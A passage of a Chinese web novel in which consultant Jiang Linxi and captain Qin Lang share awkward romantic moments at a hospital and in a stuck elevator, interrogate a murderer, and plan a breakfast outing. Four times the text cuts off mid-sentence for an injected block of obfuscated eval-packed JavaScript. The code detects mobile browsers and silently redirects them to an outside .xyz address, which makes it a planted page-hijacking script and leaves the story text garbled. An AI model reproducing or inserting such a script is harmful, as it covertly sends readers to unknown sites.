江林夕站在旁边,双手交叉紧握,她看着医生拼命的按压,看着陈锐明毫无生气的身体随着按压起伏,一股巨大的恐惧向她袭来。心里无声的呐喊着:陈锐明!你一定不会有事的!
另一边的李安几乎不敢再看,他转过身,肩膀微微颤抖。
就这样持续了大约三十秒左右,盯着监护仪的护士突然语带欣喜的喊道:“有了!”
“血氧多少?”医生喘着粗气,手上的按压动作却一点都不敢停。
“85%……90%……92%……稳定在92%了!”
陈锐明的胸腔终于开始出现微弱的起伏。
与此同时,旁边传来救助王康豪医护人员的声音:“这个生命体征相对稳定,意识丧失,并无生命危险,还需要进一步检查!”
“快!把所有伤者送到医院!”医生指挥叫道。
当陈锐明被抬上救护车,顾晴一抹眼泪,毫不犹豫地跟了上去:“秦队,我跟车去医院。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536652|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“好,随时保持联络。”秦朗看了她一眼,点头同意。
江林夕看着远去的救护车,轻轻的吐出了一口浊气。她转头望向秦朗,发现他正看着救护车消失的方向出神。那双总是显得冷静沉稳的眼眸里,此刻罕见的流露出未加掩饰的疲惫和脆弱。
就在这时,秦朗似乎察觉到她的注视,收回视线看向她,开口问:“没事吧?”
随着他的疑问,江林夕的目光不自觉地落在秦朗的身上满是尘土的警服,以及被汗水和泥水浸透的发丝和脸庞。
她轻轻摇了摇头,抿唇:“我没事,倒是秦队,你休息下吧。”
秦朗低头看了眼自己满身的狼狈,抬手随意拍了拍衣袖想要把它弄干净,可惜这只是让衣服上的灰尘再次飞扬起来。他被尘土呛得咳嗽两声,随后安慰似的露出一个略带顽皮的笑容:“咳咳,这点小灰不算什么。”
江林夕看着他被灰尘呛了个够呛的模样,忍俊不禁,笑着阻止:“别拍了,越拍越脏。”说完从口袋取出一包湿纸巾,抽出一张递了过去:“擦擦脸吧。”
秦朗接过湿纸巾,胡乱的在脸上抹了几下。湿纸巾在他脸上随意的抹过,非但没有擦干净,反而将几道泥痕晕染开来,看上去像个大花猫。
看着眼前平时几乎无所不能的秦朗,此刻略显笨拙的样子,江林夕只觉得一阵好笑,想都没想,下意识的抽出一张湿纸巾:“我来吧。”
她抬起手,用湿纸巾轻轻碰触秦朗的脸颊,动作生涩的擦拭他下颌的泥痕,两个人之间的距离也因为这个动作被拉的很近,近到江林夕看到秦朗眼里一闪而过的错愕。
而突然反应过来的江林夕,动作猛然一僵。
自己做了什么!
她!竟然在给秦朗擦脸!
一连串的念头像失控的弹幕在她脑海里疯狂的闪过:
我的天哪!自己是疯了吗!他可是秦队啊!
她怎么会伸手去碰秦队的脸!完球了!这也太尴尬了吧!
可是,他刚刚的样子实在是让人忍不住啊……
江林夕只觉得自己整个人都要烧了起来,触电般猛地收回了正在擦拭的手,手里的湿纸巾慢悠悠的掉落在两人之间的地上。
“对不起啊……秦、秦队,我、我看你脸上还有泥,你你你……自己擦吧,我先去帮李叔了。”结结巴巴的说完,江林夕像只受惊的兔子,几乎是同手同脚地快步往李安的方向走去。
“谢谢”秦朗的声音听上去好像平静如常,却让江林夕离开的动作瞬间定格,她的心脏几乎要跳出胸腔。
江林夕尴尬的哈哈两声:“不、不客气。”然后头也不回的跑开了,颇有些落荒而逃的意味。
秦朗站在原地,目光落在江林夕离开的背影上,半响没有移动。他抬起手,用手里的湿纸巾缓慢而又仔细的擦着自己的下颌,正是她刚刚触碰的位置。
不知道为什么,拿着湿纸巾的指尖在皮肤上停留的时间,好像长了一点。
15. 探病历险记
清晨的阳光透过医院的窗户,落在一束盛开的向日葵上。
而向日葵的主人,江林夕正抱着探病的花束,站在陈锐明住的病房门口。
她一边推开门,一边招呼着:“小陈,今天感觉怎么……”
话音戛然而止。
因为秦朗正站在病床床头柜前,背对着门口,站姿挺拔。手里还拿着刚洗的葡萄,他听到门口的动静,转过身来看向江林夕。
四目相对,江林夕赶紧移开视线,只觉得一阵尴尬。
怎么偏偏这个时候遇到秦朗?亏自己赶了个大早来探病。
江林夕的脑海里不受控制的闪过昨天秦朗满脸尘土,而自己鬼使神差般给他擦脸的画面。那时指尖触碰他脸庞时那份温热的触感,现在都挥之不去。
秦朗的表情也有一瞬间的呆滞,随即恢复了往常的沉稳状态,只是视线比以往看上去还要飘忽。
“江顾问。”率先回过神的秦朗打了声招呼,把手里的洗好的葡萄放到床头柜上。
“秦队。”江林夕拿着向日葵也走到床头柜前,一边强装镇定地把花插进花瓶里,一边暗自窃喜自己得亏抱着鲜花,能够掩饰住不自然的样子。
而就在江林夕插花瓶的那一刻,一股熟悉的干净的皂角香味悄然钻到秦朗的鼻腔,这让他摆放葡萄的动作微微一顿,不自觉的开口:“花很香。”
她侧过身,恰好对上秦朗的平静的视线,无所适从的小声回应:“谢谢啊……”
天知道为什么别人夸花香,而自己为什么要回答谢谢。
病床上的陈锐明对于这一切毫无察觉,满脸兴高采烈的傻乐道:“秦队,江顾问,你俩别担心,我好着呢。昨天医生还说我身体倍儿棒,恢复的比一般人要快多了。”
江林夕看到陈锐明这副模样,忍不住笑了一声,之前和秦朗的那点尴尬也被冲淡了不少。她将向日葵的角度又调整了一下,好让金黄色的花朵可以正对陈锐明,语气轻快的说道:“行行行~看你这么精神,我们就放心啦,看来我这花真没选错呀。”
她说着眨了眨眼,指尖轻点向日葵:“向日葵在生长中无论风吹雨打,只要根茎没断,它总能自己调回来,重新找到光的地方,向阳生长。就像你一样,陈锐明。”
随着她的话语,陈锐明脸上的表情凝滞住了。他怔怔地看着眼前金灿灿的向日葵,又低头看了看自己身上缠绕的绷带,想开玩笑的回应,喉咙却好像被什么堵住了一样说不出话。
这个自从受伤,到现在都没有吭一声的年轻警官,眼眶不受控制的微微发热。他飞快低头抹了一把脸,再抬头时,就只剩下眼睛里那一点湿润。
“江顾问,你这花……我……”陈锐明顿了顿,实在是找不到合适的词,最后露出一个无比灿烂的笑容:“你放心!我陈锐明保证,绝对会像这个向日葵一样,尽快支棱起来,早日归队!绝不掉链子!”说完用力拍了拍胸脯,但不小心牵动伤口,顿时龇牙咧嘴。
秦朗眉头一皱,伸手虚虚的按在陈锐明的肩头,阻止他进一步的乱动:“向日葵可不会自己把根茎给拍折了,好好养着,别乱动。”
与此同时一个护士推着轮椅出现在门口:“2床的陈锐明,准备去做检查了。”
听到这话,江林夕立刻说道:“那我就不打扰了。”
“我也该回局里了。”秦朗几乎分毫不差的同时开口。
两人同时一僵,这该死的默契感是怎么回事?
-----------------
五分钟后,江林夕和秦朗两人并肩站在电梯前。
江林夕不断抬头望向电梯缓慢跳动的楼层数字,默默数着,然后心里小声吐槽:电梯真是够慢的。
在病房里因为陈锐明也在,不太觉得不自在,但随着两人单独的相处,因为擦脸事件,氛围再度走向了莫名的尴尬。
“叮”的一声,随着电梯门打开,江林夕内心长舒了一口气。
电梯里面已经有一对年轻情侣,女生抱着手臂站在角落,男生正焦头烂额的试图解释什么。
江林夕和秦朗默契的站到另一侧的角落。
“这已经是第几次了!”电梯门刚关上,女生就带着哭腔开口:“每次都是这样!让你把自己的脏衣服洗干净,就是不干!你说你洗,说了三天!都发臭了!”
“我这不是忙嘛……”男生抓了抓头发:“而且就那么一小堆,我想着多攒一点,在一起……”
随着情侣的对话,江林夕默默的低下头,假装什么都没有听到。
“那是一小堆吗!那是一座山!而且,”女生的声音突然拔高:“你为什么总是把穿过的脏袜子塞到鞋子里,我真的受不了了!你就不能随手把它洗掉吗!你知不知道我每次帮你拿鞋子熏得头昏眼花!”
男生还在挣扎:“我就习惯这样,而且你的化妆刷不也一直放在洗手池没洗吗?”
“那能一样吗!我的刷子又不会臭!”女生更加生气的回应。
听到这秦朗的嘴角微不可见的抽动了一下,努力维持自己的面部表情,目光不经意的扫过江林夕,发现她低着头,肩膀轻轻耸动。
偷笑完毕的江林夕也正好在此时抬头,两人的视线再次交汇。
这一次没有像在病房那样仓促的移开,他们都清楚的看到对方眼里满含的笑意。
江林夕眨了眨眼,像是无声的说道:“你也觉得很好笑,对不对?”
秦朗回应般的轻挑眉梢:“确实有点。”
就在这时,电梯猛地一震,伴随着一声刺耳的摩擦声,突然停了下来。灯光闪烁了几下,然后彻底熄灭,只剩下应急灯发出幽暗的光芒,显得每个人的脸格外诡异。
“啊!”电梯里那个女生尖叫一声,下意识地抓住了身边最近的人,也就是她正在生气的男朋友。
“没事没事!”男生立刻把她整个人护在怀里:“很快会好的。”
在这狭小黑暗的空间里,江林夕感觉到自己的心跳骤然加速,不是因为害怕。
而是因为在电梯停住的那一瞬间,江林夕因为惯性差点往前摔了一下,一只手臂迅速地环住了他的腰,将她整
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536653|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个人往后一带,稳稳地固定在他的胸前。
是秦朗。
他们以一种远超安全距离的姿势,紧密的贴着。
这个拥抱来得很突然,也很短暂。几乎是在她站稳的下一秒,秦朗的手就从江林夕的腰间抽离。
“没事吧?”他的声音从江林夕的头顶后方传来,比平时听上去要沙哑一些,语速也更快。
“没、没事。”江林夕只觉得自己心跳快的不正常,慌忙转过身来,在幽暗的光线下注意到秦朗的喉结轻轻地滚动。
而在电梯里的那对小情侣已经从争吵模式切换到了相依为命模式。女生把脸埋在男生的胸前,小声嘟囔:“那你以后还洗不洗衣服?”
“我以后肯定天天洗,用你最喜欢的桃子味的洗衣液洗,好不好?”男生手臂环住女生的腰,把下巴搁在她的肩上:“别生气了~宝宝~”
女生哼了一声推了男生一下,却也没用力:“这还差不多,那你要说话算话。”
“当然算话!以后你的化妆刷我也包了!”男生趁热打铁:“我们家宝宝连翻白眼都这么好看,真想亲亲~”
“你少来……唔……”
后面的话,被一些暧昧而又细微的亲吻声取代了。
江林夕的背脊瞬间僵硬。
他、他们!拜托,这里不是无人区,还有别人啊!
一股热气“轰”地冲上头顶,江林夕感觉自己整个人都要热的爆炸了,恨不得自己有穿墙术可以立即消失,她拼命地控制住自己想要扭头去看的冲动。
无所适从的眼睛不受控制的飘向秦朗,就像命中注定一样,果不其然,秦朗这个时候也恰巧侧过头望向她。
这短暂的对视可能只有一两秒,却仿佛无限拉长。他们清晰的看到彼此眼里翻涌的无所适从,尴尬等等复杂情绪。
他看到,她爆红的脸颊像是熟透的樱桃。
她看到,他耳朵上染着不自然的红色。
那对情侣还在忘我的低语轻笑,反而衬得江林夕和秦朗两人之间的沉默,有一种欲盖弥彰的味道。
大概过了几分钟,电梯恢复了正常,电梯停留在了一楼,大门敞开。
突然其来的光明让所有人都眯起了眼睛,那对紧紧抱在一起的情侣,像是才反应过来有人,不好意思的分开来。
走出电梯门的江林夕和秦朗,看上去一切如常,除了两人耳后根的红晕,两人不约而同地在医院大厅中央停下脚步。
“局里还有事情,我先走了。”秦朗不自在的说道:“明天王康豪就出院了,你到时候来局里一趟吧。”
江林夕尴尬的低着头没看他,直接回答:“好,明天见。”
说完,两个人默契的朝着不同方向转身离开。
离开医院,阳光洒到江林夕的脸上,她觉得自己脸上的热度越来越明显,这下好了,现在脑海里不只回放擦脸事件,还多了个电梯事件。
明天去局里,又要见面了……
期待的感觉从她脑海里一闪而过,在她还没有发现的时候就被埋藏了起来。
16. 迟到的真相
市局审讯室,气氛凝重。
王康豪坐在冰冷的审讯椅上,手腕上戴着锃亮的手铐,身材消瘦,眼窝凹陷,灰色的看守所服装,衬得他的脸色格外苍白。
秦朗和李安表情严肃的坐在他的对面,审讯室另一边,这一次只有江林夕一个人,手拿小兔子笔和笔记本在那站着。
江林夕看着玻璃那侧的王康豪,注意到他,放在膝盖上的手指,指节并不粗大,甚至看上去有些纤细,很难想象就是这双手曾残忍的把人活埋。
她双手拍了拍脸颊,深吸一口气,提醒自己:专业点!犯罪心理学,一定要抛开所有的表象,理解其行为背后的复杂动机。
审讯室里,常规的身份核实和权利告知完成后,审终于进入到正题。
秦朗翻开卷宗,嗓音低沉的开口:“王康豪,关于你绑架并且活埋陈浩的犯罪事实……”
“警官……”王康豪突然打断了秦朗正在说的话,他抬起头,眼里带着小心翼翼,近乎于卑微的样子,小声询问:“那个……在取土坑里救我的那个警官,他、他还好吗?”
这个突如其来的问题,让在场所有人都很意外。
听着他的询问,李安叹了口气,语气缓和的回道:“他没事,陈警官之前救你的时候是受了些伤,但现在已经脱离生命危险,再住一周医院就可以健康出院了。”
王康豪微微一怔,低下头看向自己手腕上的手铐,喃喃自语:“没事就好,没事就好……对不起啊,都是我连累他了,我的错。”
短暂沉默后,秦朗重新开口:“好了,说说你的事吧。为什么要杀害陈浩,并且选择使用活埋这种残忍的方式?”
王康豪依旧瑟缩着身体,低着头没说话。
“我们已经在取土坑找到陈浩的尸体了,证据确凿,别想着抵赖了。”秦朗继续语气严厉的补充:“今天询问你,只是想再给你一个说出真相的机会,你得珍惜!”
李安一副痛心疾首的样子:“王康豪,你知不知道自己干了什么!陈浩是有错,他三年前酒后失控操作不当,造成了你父亲的死亡,事后还试图隐瞒。但是这不是你可以杀人的原因,你有没有想过,如果你父亲在天有灵,会想要你变成个杀人犯吗!”
“不是的……不是的!”王康豪像是被戳中的要害,猛地抬起头,嘶哑的喊道:“那个混蛋根本不是操作不当!他是故意撵上去的!”
王康豪满脸痛苦与绝望,声音嘶哑地开始叙述:
“三年前,那天是我爸生日。我特地从外地赶回来,给他过了个生日。那晚上我们都挺开心的,就多喝了两杯,早早睡下了。”
“半夜的时候,我被外面的吵嚷声吵醒。从二楼的窗户里看出去,就看到陈浩站在我家门口,旁边还有一辆推土车。”
“我爸那时候已经在门口,正穿着睡衣跟他对峙。”
“我听见陈浩在那嚷嚷着“最后期限”、“别敬酒不吃吃罚酒”这些话,我爸完全没有搭理他的意思。然后、然后,陈浩突然推了我父亲一把,直接把他推倒在地。”
王康豪双手开始发抖,带着难以抑制的愤恨:“我亲眼看着那个混蛋爬上旁边的推土车,他发动引擎,车灯亮的我都睁不开眼。”
“我一开始,只以为他是想吓唬人……”
“可是没想到!他故意朝我爸那撞过去的!一下、两下、三下……一遍又一遍的碾压……唔~啊~到处都是血……和泥土混在一起……”
王康豪哀嚎着捂住了自己的脸,浑身颤抖。
“我就是废物啊!我就是废物啊!”
“我想阻止,可是全身发抖,动都动不了……”
“我就这样眼睁睁的看着撞我爸……我连自己的父亲都保护不了……啊啊啊……”
审讯室里回荡着王康豪的痛哭声,这个三十多岁的男人,哭的像个孩子一样。
另一边,江林夕知道自己该保持理智,可是没有办法。
她的心脏像是被一只无情的手狠狠的攥住。眼前仿佛出现了那个绝望的夜晚,看到这个男人亲眼目睹自己父亲被残忍杀害时的恐惧和无力。
江林夕觉得自己完全没有办法呼吸,汹涌的窒息感扑面而来,她的喉咙里不自觉地发出细碎的哽咽。下意识抬起手,捂住了自己的嘴,想要把这些痛苦都咽回去。
太痛了……
秦朗目光复杂的看向眼前哀嚎的王康豪,扫到他干裂的嘴唇,叹息一声,转头示意守门的小警员倒点热水,还有拿些纸巾给他。
小警员很快就拿着纸巾和热水回来,放到了王康豪的面前。
“喝点水吧。”秦朗声音比之前要缓和一些,轻声安抚。
王康豪顿了顿,双手迟缓的拿起一次性水杯,抿了一小口,下意识地道了声谢:“谢谢。”
秦朗等他情绪稍微平复,沉声问道:“为什么把陈浩的尸体转移到红砖厂的取土坑,而且我们过去的时候,你和尸体应该是同时都在那里吧。”
“因为那里,是我的家,从我有记忆以来,我爸就跟我说,红砖厂是我们祖祖辈辈的根,根在哪家就在哪。”王康豪眼神空洞的继续说道:“我得让我爸看到,害死他的人彻底消失了,包括我……”
“我这种人不配活在世上,我这个做儿子因为懦弱没能保护好自己父亲,现在还杀了人,我不该活着……”
“我想我爸了……”
最后几个字轻得几乎听不见。
此刻的王康豪不只是简简单单的杀人犯,还是一个思念父亲的儿子,只可惜,那个爱他的人已经不在了。
江林夕合上笔记本,心情错综复杂。真相水落石出,正义也得到了伸张,可是自己却开心不起来,反倒是感觉无尽的悲凉。
她下意识看向秦朗,发现那双总是透露沉稳冷静的眼眸此刻低垂着,记录的手也比之前慢上了许多,他没有说话。
过了几分钟,秦朗才抬起头,直视王康豪的眼睛,严肃开口:“王康豪,你的遭遇确实令人痛心。很抱歉,陈浩当年的所作所为,没有受到相应的惩罚。但是,这不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536654|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你剥夺他人生命的借口,以暴制暴,只会滋生更多的痛苦。”
他的手指轻轻敲击桌面,每个字都掷地有声:“这个社会之所以需要法律,就是因为法律代表着秩序与公正,它不会因为个人的情绪就肆意妄为,也不会因为某个人的权势就姑息养奸。”
“三年前,陈浩涉嫌犯罪,你应该做的是收集证据,通过法律途径让他受到该有的惩罚,而不是让自己沦落为一个罪犯。”
秦朗身体前倾,语气沉重:“你有没有想过,当你使用暴力的时候,你和他又有什么区别。更重要的是,当发生错误时你选择用自我了断来逃避。”
“自杀从来不是解脱,而是对所有关心你的人的背叛。”
“现在你要勇敢的活下去,承担相应的法律责任,做一个有担当的男人,这才是你父亲最想看到的。”
-----------------
审讯结束,众人心思沉重。
李安重重的叹了口气,用力搓了把脸,率先打破沉默:“这叫什么事儿啊,我去抽根烟。”说完没给别人反应的时间,就摇着头走了。
一时间,审讯室外就剩下秦朗和江林夕两人。
江林夕还沉浸在王康豪那令人窒息的悲剧里,只觉得自己胸闷气短,心里堵得慌,早就把昨天那些尴尬抛之于脑后,心心念念的都是,好烦好烦好烦。
秦朗沉默的看了她几秒,忽然开口,语气听不出什么波澜,但内容大大出乎她的预料:“附近新开了家甜品店,听说那的双皮奶和芒果班戟不错。”
“啊?”江林夕一时没反应过来,一脸呆滞的抬头望向他。
注意到她的眼神,秦朗微不可察的视线飘忽了一下:“甜食可以舒缓情绪,我请你吧。”
江林夕只觉得一股暖流悄然涌上心头,心里的烦闷被冲散了不少。
本就爱吃奶制品的她瞬间期待起来,忽然想起了什么。
“那个……秦队,”江林夕眨了眨眼,带着一点请求的意味:“我能叫上顾晴吗?因为小陈的事,这两天她心情也挺不好的,顺便带她一起散散心,好不好?”
起来显然没有料到会是这个提议,表情有一瞬间的凝固。他看了眼江林夕期待的眼神,眉头不自觉地轻挑,最终还是点点头,语气听不出情绪的同意了:“行啊,你联系她吧。”
“太好了!我现在就给她发信息!”江林夕立刻拿出手机,眉眼弯弯,满脸都是要和好朋友去吃甜品的兴奋。
她低头飞快地打字,借此掩饰心里那点莫名的心虚,一边想着顾晴看到信息一定会很开心,一边忍不住偷瞄秦朗。
她可想起来了,前两次的尴尬事件,每次都是单独和秦朗呆在一起发生的,还是小心点比较好。
秦朗看着她瞬间亮起的眼睛和飞快打字的手指,目光微动。这份想要安慰的心,虽然因为多了一个人而变得有些不同,但能看到她重新打起精神来,好像也不错。
只是心里那一点细微的遗憾,大概只有他自己知道了。
17. 约会邀请?
今天是个好日子~心想的事儿都能成~今天是个好日子~打开了家门咱迎春风~
啊~今天是什么日子~是她~是她~贫穷少女要有钱的日子~
江林夕哼着不成调的歌,脚步轻快地去往市公安局的路上,阳光洒在她身上,连带着她怀里那个装着厚厚一叠收据票据的文件袋,都仿佛镀上了一层金光。
来之前,江林夕特意把所有票据进行分门别类,甚至细心地在每张票背后都用铅笔工整写好了原因、时间,自觉是万无一失了。
而且……自己可是带了“秘密武器”的!
江林夕熟门熟路的摸到局里财务室门口,站定。她深吸一口气,整理了一下表情,然后敲响了财务室的大门。
“请进。”
江林夕推门而入,眨着眼,脸上挂着自觉最乖巧的笑容:“桃姐~早上好!”
说完就把手里的“秘密武器”放到了桃姐面前的桌上:“桃姐,我刚刚路过您之前和我提到过的奶茶店,他家出新品了,我就给您带了一杯。”
桃姐从帐册里抬起头,目光在那杯看上去花里胡哨的奶茶和江林夕过于灿烂的笑容,扫视了一圈,抬手推了推眼镜,心知肚明的说道:“小江啊,收据拿过来吧。”
江林夕赶紧给桃姐呈上自己昨晚的呕心沥血的成果。
只见桃姐在票据上指尖飞舞,偶尔会停留片刻,然后继续翻阅,整个过程都还算的上流畅无阻。
直到桃姐面前出现了一张书店的小票和附在后面的书籍清单,她的眉头不由得皱了起来:“小江,这个不太对吧。个人学习资料,可不在报销范围之内。”
果然!
江林夕顿时心里警铃大作,但是脸上笑容不变,甚至更加甜美了几分:“桃姐,您先别急着否定嘛~您请看,我买的都是啥书?”
桃姐又仔细看了眼后面的书籍清单,上面写着《犯罪心理学》《微表情分析》《现场重构逻辑》等等,依旧神情不变的选择拒绝:“不管你买的什么书,个人学习资料都不属于报销范围。”
江林夕咳了一声,滔滔不绝的开口:“桃姐~你想啊,我的职位是特别技术顾问,平常工作就是和犯罪分子打交道,万一哪天因为不够了解他们,心理能力太差,“噶哒”一下崩溃了。出现PTSD啊、焦虑症啊、抑郁症啊等等~到时候局里是不是得给我安排心理干预,那费用是不是更高了?说不定这还算因工负伤,需要休个长假什么的,到时候耽误了秦队他们破案,那都是损失啊。”
接着她两手一摊,肩膀一耸,表情无比真挚得继续念叨:“所以啊,我现在买这些书看。是提前做好准备,从根源上杜绝未来可能产生的不良后果。这可不是个人学习,这是为了不给局里添麻烦!为了不给组织增加负担!这是必要的投入。桃姐~”
一口气全说完,江林夕可怜巴巴的望着桃姐,心里默默的给自己点了个赞,逻辑满分!
桃姐听着她这一套一套的歪理,嘴角没忍住抽搐了一下,轻推眼镜,目光落在江林夕那张写满“我全是为了公家”的脸上,回应道:“局里是有定期的专业心理评估,以及每三个月一次的心理顺导。”
她晃了晃手里的清单:“所以你说的这些完全不需要担心,自购书籍,原则上还是属于个人提升范畴。”眼见着江林夕的肩膀都要垮了下去,桃姐这才不紧不慢的继续说道:“不过嘛……”
江林夕听到有希望,立刻又竖起了耳朵。
“考虑到你岗位的特殊性,以及之前秦队确实说过,你的工作需要相关的专业知识辅助指导,降低工作风险……”桃姐顿了顿,似乎再斟酌用词,最终拿起笔在票据上签了字:“这次就作为特殊岗位培训报销了,下不为例。”
“好的,谢谢桃姐!”江林夕瞬间心花怒放,忙不迭地点头,只觉得桃姐平常严肃的样子此刻无比的亲切动人。
“但是,”桃姐迅速的从那堆票据里抽了几张出来,推到江林夕面前:“这几张绝对不可以。”
江林夕定睛一看,是自己有几天早上去案发现场或者来市局路上,顺手买的豆浆油条,饭团三明治之类的小票。
“可是……”
“没有可是。”桃姐直接打断了她的话,推了推眼镜,把一份文件推到她面前:“还有你前面办案的补贴下来了,签个字。”
江林夕小声嘀咕了一句:“好吧,也不知道秦队下次能不能别总是请喝咖啡,偶尔改请吃早餐呢。”然后拿起眼前的文件看了眼,发现文件上“案件协助津贴”金额,眼睛瞬间瞪圆了。
“哦?桃姐,补贴金额是不是算错了?”江林夕有点不敢相信,声音都有点飘:“好像有点多……”
桃姐正忙着在电脑里做最后核对,头都没动,顺口接了一句:“没错,之前秦队特地打了报告,强调了你这岗位的特殊性和精神损害补贴什么的,给你申请了最高档位的顾问补贴,局里特批的。”
秦队……唔,真是大好人啊!
一股暖流瞬间“噌”地一下从心底窜上来,冲得她耳根都有些发热。
就在江林夕愣神的功夫,财务室的门又被推了开来,陈锐明拿着几张医院报告单走了进来:“桃姐,我来交一下医院复查的报销单。”
一进来,他就看到了杵在办公室桌前的江林夕,打了个招呼:“江顾问。”
江林夕这才回过神来,赶紧把桌上补贴文件签好字,转头对陈锐明扬起了一个格外灿烂的笑容:“小陈呐~”
陈锐明觉得自己要被她过于灿烂的笑容亮瞎了眼,不由得问道:“这么高兴?”
“那当然。”江林夕得意地晃了晃食指:“你快去忙你的吧,我先出去了。”
“成。”陈锐明回应,然后走向桃姐的办公桌。
而江林夕则脚步轻快的走出了财务室,外面阳光正好,心情愉悦的她感觉连空气都变得清新了许多。
刚走到走廊拐角,迎面就遇上了路过的秦朗,他扫了一眼江林夕,语气平常的询问:“今天怎么来了?”
“我来报销的!”她声音雀跃,眉眼弯弯,笑容灿烂的表示感谢:“对了!谢谢你秦队!帮我特别申请补贴!感觉自己一下子变成有钱人了!”
秦朗看着她那张恨不得把“我很高兴”这四
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536655|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个字写在脸上的表情,轻轻勾起嘴角,随意说道:“嗯,挺好,可以吃点好的庆祝一下了。”
江林夕听到这话,像是被提醒到了一样。
对啊,自己可以终于可以吃点好的了!
“那我必须去张阿姨那儿吃份大碗馄饨!还得加鸡蛋!之前去吃因为舍不得,点的都是小碗,根本不够吃。她家馄饨味道可好了,大骨熬的汤底,超级好吃!”江林夕絮絮叨叨地说着,满脸回味无穷的样子。
秦朗安静地听着,视线落在她因为兴奋而亮晶晶的眼眸,觉得自己指尖痒痒的,顺着她的话,问道:“哪一家这么好吃,说的我都想试试了。”
“就是,”江林夕脱口而出了两个字,忽然不自然的顿了顿,声音不自觉地低了些:“就是张心蝶妈妈开的馄饨摊。”
当听到张心蝶的名字,秦朗立刻意识到,江林夕自从第一个案子结束后,在她自己都生活拮据的时候,还在尽自己的所能的,去看望那位失去女儿的母亲。
心里明了,他脸上的笑意不减,语气平和的继续说道:“真这么好吃?”
江林夕用劲点头:“是真的很好吃!”
“嗯,”秦朗从善如流地点点头,顺势提出:“那准备什么时候去吃,方便带我一起去尝尝么?”
“啊?”江林夕一下子呆住了,眨了眨眼,没反应过来:“我本来准备明天一大早,去超市买完生活用品,再去吃的。”
她想了一下自己挤完早高峰公交的狼狈,手上还拿着大包小包的样子,面露尴尬的说道:“可能有点不太方便,明天我买完还不知道几点呢。要不然我把张阿姨馄饨摊的地址发你,或者下次一起吧。”
“没事,明天早上我去接你,陪你买完东西,正好我们吃馄饨的时候,东西可以放车里。”秦朗云淡风轻的说出了自己的解决方案。
这句话说的十分自然了,自然到江林夕愣了两秒才消化掉其中的意思。
什么?!自己和秦队两个人逛超市,还是单独的!
“不用了吧,这太麻烦你了,秦队。”江林夕连连摆手,果断拒绝。
“不麻烦,明天正好要出外勤,顺路。”秦朗理由给的也是简单直接,然后微微挑眉:“怎么,还有问题?”
江林夕张了张嘴,看着秦朗那副“这事儿就这么定了”淡定的摸样,心里无声的呐喊:你都这么说了,我能有什么问题,我能说怕咱俩单独在一起会尴尬吗?难道只有我一个人觉得嘛?
她做着最后的挣扎:“真的很早哦~明天早上六点就得到超市了,秦队,你要是来接我,差不多五点半就得到了。”
“没问题,明天见。”秦朗干脆利落的点头,然后抬手看了手腕上的手表:“我先走了,等会还有点事。”说完,对她微微颔首,便没有丝毫犹豫的转身迈步离开。
江林夕看着秦朗消失在走廊尽头的方向,心里只有完了两个字。
她的脑子里已经开始不受控制地想象明天清晨五点半,天还没亮,秦朗的车就停在她家楼下的画面。
老天爷,这哪是逛超市吃馄饨,这根本就是要了自己的命啊。
18. 约会之旅?
清晨,天空才刚刚泛起鱼肚白。
江林夕搓着自己发凉的手,她已经在单元楼的楼下站了有一会儿了。
昨天她一晚上都没睡踏实,早早就起了床。
不过这次可不是因为噩梦闹的,也不知道是不是太紧张了,大半夜睡不着的她在衣柜里翻了将近一个小时的衣服。最后试来试去,还是选了一套平常穿的白色毛衣和外套。然后又对着镜子照了半天,总感觉哪里不对劲。
不过是去买个东西,然后吃个馄饨而已,不要紧张。江林夕一边心里默念,一边给自己鼓劲。
没过一会儿,那辆熟悉的黑色小轿车缓缓驶来,停在了她的面前。江林夕看了眼手机上的时间,比约定的五点半还早了一点。
车窗降下,露出了秦朗那张轮廓分明的侧脸。他神色诧异的看向江林夕,没想到她会提前下楼等自己,随即微皱眉头,说道:“赶紧上车。”
江林夕赶紧拉开车门坐上副驾驶,车里空调的暖意扑面袭来,不自觉地感叹道:“好暖和呀。”
